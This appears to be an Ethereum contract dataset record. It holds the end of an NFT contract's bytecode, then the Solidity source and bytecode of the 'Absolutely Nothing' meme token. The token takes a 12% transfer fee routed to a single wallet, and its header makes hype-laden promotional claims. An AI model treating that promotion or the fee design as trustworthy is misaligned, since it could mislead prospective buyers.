4051600090339047908381818185875af1925050503d80600081146110d8576040519150601f19603f3d011682016040523d82523d6000602084013e6110dd565b606091505b50509050806110eb57600080fd5b50565b610be083838360405180602001604052806000815250611c4e565b60055473ffffffffffffffffffffffffffffffffffffffff1633146111705760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b600e55565b600061118060025490565b82106111ce5760405162461bcd60e51b815260206004820152601760248201527f455243373231456e756d3a20676c6f62616c20696f6f6200000000000000000060448201526064016109ee565b5090565b60055473ffffffffffffffffffffffffffffffffffffffff1633146112395760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b805161124c90600d906020840190612b58565b5050565b60008060028381548110611266576112666131d9565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff169050806108dd5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016109ee565b600d805461130a906130a7565b80601f0160208091040260200160405190810160405280929190818152602001828054611336906130a7565b80156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b600073ffffffffffffffffffffffffffffffffffffffff82166114165760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016109ee565b600254600090815b818110156114815760028181548110611439576114396131d9565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff868116911614156114715761146e83613208565b92505b61147a81613208565b905061141e565b50909392505050565b60055473ffffffffffffffffffffffffffffffffffffffff1633146114f15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b6114fb600061255e565b565b60606115088261138b565b6000106115575760405162461bcd60e51b815260206004820152601660248201527f455243373231456e756d3a206f776e657220696f6f620000000000000000000060448201526064016109ee565b60006115628361138b565b905060008167ffffffffffffffff81111561157f5761157f612d81565b6040519080825280602002602001820160405280156115a8578160200160208202803683370190505b50905060005b828110156115ef576115c08582610f13565b8282815181106115d2576115d26131d9565b6020908102919091010152806115e781613208565b9150506115ae565b509392505050565b6000600a828154811061160c5761160c6131d9565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff1692915050565b6060600180546108f2906130a7565b60055473ffffffffffffffffffffffffffffffffffffffff1633146116aa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b82811461171f5760405162461bcd60e51b815260206004820152602160248201527f50726f76696465207175616e74697469657320616e6420726563697069656e7460448201527f730000000000000000000000000000000000000000000000000000000000000060648201526084016109ee565b60008061172b60025490565b905060005b8581101561176e5786868281811061174a5761174a6131d9565b905060200201358361175c919061312a565b925061176781613208565b9050611730565b50600f5461177c838361312a565b11156117ca5760405162461bcd60e51b815260206004820152600860248201527f546f6f206d616e7900000000000000000000000000000000000000000000000060448201526064016109ee565b6000915060005b838110156118685760005b8787838181106117ee576117ee6131d9565b9050602002013581101561185757611847868684818110611811576118116131d9565b90506020020160208101906118269190612d23565b8461183081613208565b9550604051806020016040528060008152506125d5565b61185081613208565b90506117dc565b5061186181613208565b90506117d1565b50505050505050565b6002600c5414156118c45760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016109ee565b6002600c5560006118d460025490565b60115490915060ff166119295760405162461bcd60e51b815260206004820152601460248201527f436f6e7472616374204e6f7420456e61626c656400000000000000000000000060448201526064016109ee565b600082116119795760405162461bcd60e51b815260206004820152600b60248201527f43616e74206d696e74203000000000000000000000000000000000000000000060448201526064016109ee565b6010548211156119cb5760405162461bcd60e51b815260206004820152601b60248201527f43616e74206d696e74206d6f7265207468656e206d61786d696e74000000000060448201526064016109ee565b600f546119d8838361312a565b1115611a265760405162461bcd60e51b815260206004820152601360248201527f43616e7420676f206f76657220737570706c790000000000000000000000000060448201526064016109ee565b81600e54611a349190613142565b341015611a4057600080fd5b60005b82811015611a7e57611a6e33611a59838561312a565b604051806020016040528060008152506125d5565b611a7781613208565b9050611a43565b50506001600c5550565b73ffffffffffffffffffffffffffffffffffffffff8216331415611aee5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016109ee565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60055473ffffffffffffffffffffffffffffffffffffffff163314611bec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b60005b6012548110156110eb57600060128281548110611c0e57611c0e6131d9565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff169050611c3b81610be5565b5080611c4681613208565b915050611bef565b611c583383612253565b611cca5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016109ee565b611cd68484848461265e565b50505050565b6060611ce782612029565b611d595760405162461bcd60e51b815260206004820152602160248201527f4552433732314d657461646174613a204e6f6e6578697374656e7420746f6b6560448201527f6e0000000000000000000000000000000000000000000000000000000000000060648201526084016109ee565b6000611d636126e7565b90506000815111611d835760405180602001604052806000815250611dae565b80611d8d846126f6565b604051602001611d9e929190613241565b6040516020818303038152906040525b9392505050565b60055473ffffffffffffffffffffffffffffffffffffffff163314611e1c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b601180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60055473ffffffffffffffffffffffffffffffffffffffff163314611eb45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ee565b73ffffffffffffffffffffffffffffffffffffffff8116611f3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016109ee565b6110eb8161255e565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f80ac58cd000000000000000000000000000000000000000000000000000000001480611fd957507fffffffff0000000000000000000000000000000000000000000000000000000082167f5b5e139f00000000000000000000000000000000000000000000000000000000145b806108dd57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316146108dd565b600254600090821080156108dd5750600073ffffffffffffffffffffffffffffffffffffffff1660028381548110612063576120636131d9565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16141592915050565b600081815260036020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff841690811790915581906120e782611250565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b8047101561217d5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016109ee565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d80600081146121d7576040519150601f19603f3d011682016040523d82523d6000602084013e6121dc565b606091505b5050905080610be05760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016109ee565b600061225e82612029565b6122d05760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e000000000000000000000000000000000000000060648201526084016109ee565b60006122db83611250565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061234a57508373ffffffffffffffffffffffffffffffffffffffff1661233284610975565b73ffffffffffffffffffffffffffffffffffffffff16145b80612387575073ffffffffffffffffffffffffffffffffffffffff80821660009081526004602090815260408083209388168352929052205460ff165b949350505050565b8273ffffffffffffffffffffffffffffffffffffffff166123af82611250565b73ffffffffffffffffffffffffffffffffffffffff16146124385760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201527f73206e6f74206f776e000000000000000000000000000000000000000000000060648201526084016109ee565b73ffffffffffffffffffffffffffffffffffffffff82166124c05760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016109ee565b6124cb60008261208d565b81600282815481106124df576124df6131d9565b6000918252602082200180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b6005805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6125df8383612828565b6125ec6000848484612982565b610be05760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016109ee565b61266984848461238f565b61267584848484612982565b611cd65760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016109ee565b6060600d80546108f2906130a7565b60608161273657505060408051808201909152600181527f3000000000000000000000000000000000000000000000000000000000000000602082015290565b8160005b8115612760578061274a81613208565b91506127599050600a836131ae565b915061273a565b60008167ffffffffffffffff81111561277b5761277b612d81565b6040519080825280601f01601f1916602001820160405280156127a5576020820181803683370190505b5090505b8415612387576127ba6001836131c2565b91506127c7600a86613270565b6127d290603061312a565b60f81b8183815181106127e7576127e76131d9565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350612821600a866131ae565b94506127a9565b73ffffffffffffffffffffffffffffffffffffffff821661288b5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016109ee565b61289481612029565b156128e15760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016109ee565b6002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600073ffffffffffffffffffffffffffffffffffffffff84163b15612b4d576040517f150b7a0200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063150b7a02906129f9903390899088908890600401613284565b6020604051808303816000875af1925050508015612a52575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252612a4f918101906132cd565b60015b612b02573d808015612a80576040519150601f19603f3d011682016040523d82523d6000602084013e612a85565b606091505b508051612afa5760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e746572000000000000000000000000000060648201526084016109ee565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a0200000000000000000000000000000000000000000000000000000000149050612387565b506001949350505050565b828054612b64906130a7565b90600052602060002090601f016020900481019282612b865760008555612bcc565b82601f10612b9f57805160ff1916838001178555612bcc565b82800160010185558215612bcc579182015b82811115612bcc578251825591602001919060010190612bb1565b506111ce9291505b808211156111ce5760008155600101612bd4565b7fffffffff00000000000000000000000000000000000000000000000000000000811681146110eb57600080fd5b600060208284031215612c2857600080fd5b8135611dae81612be8565b60005b83811015612c4e578181015183820152602001612c36565b83811115611cd65750506000910152565b60008151808452612c77816020860160208601612c33565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b602081526000611dae6020830184612c5f565b600060208284031215612cce57600080fd5b5035919050565b73ffffffffffffffffffffffffffffffffffffffff811681146110eb57600080fd5b60008060408385031215612d0a57600080fd5b8235612d1581612cd5565b946020939093013593505050565b600060208284031215612d3557600080fd5b8135611dae81612cd5565b600080600060608486031215612d5557600080fd5b8335612d6081612cd5565b92506020840135612d7081612cd5565b929592945050506040919091013590565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600067ffffffffffffffff80841115612dcb57612dcb612d81565b604051601f85017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908282118183101715612e1157612e11612d81565b81604052809350858152868686011115612e2a57600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215612e5657600080fd5b813567ffffffffffffffff811115612e6d57600080fd5b8201601f81018413612e7e57600080fd5b61238784823560208401612db0565b6020808252825182820181905260009190848201906040850190845b81811015612ec557835183529284019291840191600101612ea9565b50909695505050505050565b60008083601f840112612ee357600080fd5b50813567ffffffffffffffff811115612efb57600080fd5b6020830191508360208260051b8501011115612f1657600080fd5b9250929050565b60008060008060408587031215612f3357600080fd5b843567ffffffffffffffff80821115612f4b57600080fd5b612f5788838901612ed1565b90965094506020870135915080821115612f7057600080fd5b50612f7d87828801612ed1565b95989497509550505050565b80358015158114612f9957600080fd5b919050565b60008060408385031215612fb157600080fd5b8235612fbc81612cd5565b9150612fca60208401612f89565b90509250929050565b60008060008060808587031215612fe957600080fd5b8435612ff481612cd5565b9350602085013561300481612cd5565b925060408501359150606085013567ffffffffffffffff81111561302757600080fd5b8501601f8101871361303857600080fd5b61304787823560208401612db0565b91505092959194509250565b60006020828403121561306557600080fd5b611dae82612f89565b6000806040838503121561308157600080fd5b823561308c81612cd5565b9150602083013561309c81612cd5565b809150509250929050565b600181811c908216806130bb57607f821691505b602082108114156130f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000821982111561313d5761313d6130fb565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561317a5761317a6130fb565b500290565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000826131bd576131bd61317f565b500490565b6000828210156131d4576131d46130fb565b500390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561323a5761323a6130fb565b5060010190565b60008351613253818460208801612c33565b835190830190613267818360208801612c33565b01949350505050565b60008261327f5761327f61317f565b500690565b600073ffffffffffffffffffffffffffffffffffffffff8087168352808616602084015250836040830152608060608301526132c36080830184612c5f565b9695505050505050565b6000602082840312156132df57600080fd5b8151611dae81612be856fea2646970667358221220843351ca921682e5de61ab59f1afc46d9e9a24cbd723c59a03b84368bfec7cf864736f6c634300080a0033
[ 5, 12 ]
0xF21Dc8291CE9062568d038280155772E940dAfA1
/** * The crypto market is mooning and at all time highs, absolutely nothing right? Celebrate with the Absolutely Nothing token. CMC and GC will be applied on launch, wagmi You missed $PN token? No problem, when you see this token mooning and tell your friends that it’s Absolutely nothing, Absolutely nothing right? Telegram: https://t.me/AbsolutelynothingERC Discord: https://discord.gg/tbqsm2fr */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Absolutely Nothing"; string private constant _symbol = "AN"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x520Fc623CE9DfD94b5FA5D9586780e7328c26CC7); _feeAddrWallet2 = payable(0x520Fc623CE9DfD94b5FA5D9586780e7328c26CC7); _feeAddrWallet3 = payable(0x520Fc623CE9DfD94b5FA5D9586780e7328c26CC7); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 6; _feeAddr2 = 6; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102b6578063c3c8cd80146102d6578063c9567bf9146102eb578063dd62ed3e1461030057600080fd5b806370a082311461022e578063715018a61461024e5780638da5cb5b1461026357806395d89b411461028b57600080fd5b80632ab30838116100c65780632ab30838146101c6578063313ce567146101dd5780635932ead1146101f95780636fc3eaec1461021957600080fd5b806306fdde0314610103578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a657600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b506040805180820190915260128152714162736f6c7574656c79204e6f7468696e6760701b60208201525b60405161014791906114b5565b60405180910390f35b34801561015c57600080fd5b5061017061016b366004611425565b610346565b6040519015158152602001610147565b34801561018c57600080fd5b50683635c9adc5dea000005b604051908152602001610147565b3480156101b257600080fd5b506101706101c13660046113e5565b61035d565b3480156101d257600080fd5b506101db6103c6565b005b3480156101e957600080fd5b5060405160098152602001610147565b34801561020557600080fd5b506101db610214366004611450565b610408565b34801561022557600080fd5b506101db610450565b34801561023a57600080fd5b50610198610249366004611375565b61047d565b34801561025a57600080fd5b506101db61049f565b34801561026f57600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561029757600080fd5b5060408051808201909152600281526120a760f11b602082015261013a565b3480156102c257600080fd5b506101706102d1366004611425565b610513565b3480156102e257600080fd5b506101db610520565b3480156102f757600080fd5b506101db610556565b34801561030c57600080fd5b5061019861031b3660046113ad565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061035333848461091d565b5060015b92915050565b600061036a848484610a41565b6103bc84336103b785604051806060016040528060288152602001611655602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610be3565b61091d565b5060019392505050565b6000546001600160a01b031633146103f95760405162461bcd60e51b81526004016103f090611508565b60405180910390fd5b683635c9adc5dea00000601155565b6000546001600160a01b031633146104325760405162461bcd60e51b81526004016103f090611508565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461047057600080fd5b4761047a81610c1d565b50565b6001600160a01b03811660009081526002602052604081205461035790610ce5565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016103f090611508565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610353338484610a41565b600c546001600160a01b0316336001600160a01b03161461054057600080fd5b600061054b3061047d565b905061047a81610d69565b6000546001600160a01b031633146105805760405162461bcd60e51b81526004016103f090611508565b601054600160a01b900460ff16156105da5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f0565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106173082683635c9adc5dea0000061091d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561065057600080fd5b505afa158015610664573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106889190611391565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d057600080fd5b505afa1580156106e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107089190611391565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561075057600080fd5b505af1158015610764573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107889190611391565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306107b88161047d565b6000806107cd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561083057600080fd5b505af1158015610844573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108699190611488565b505060108054683635c9adc5dea0000060115563ffff00ff60a01b1981166201000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108e157600080fd5b505af11580156108f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610919919061146c565b5050565b6001600160a01b03831661097f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f0565b6001600160a01b0382166109e05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610aa35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f0565b6001600160a01b03831660009081526006602052604090205460ff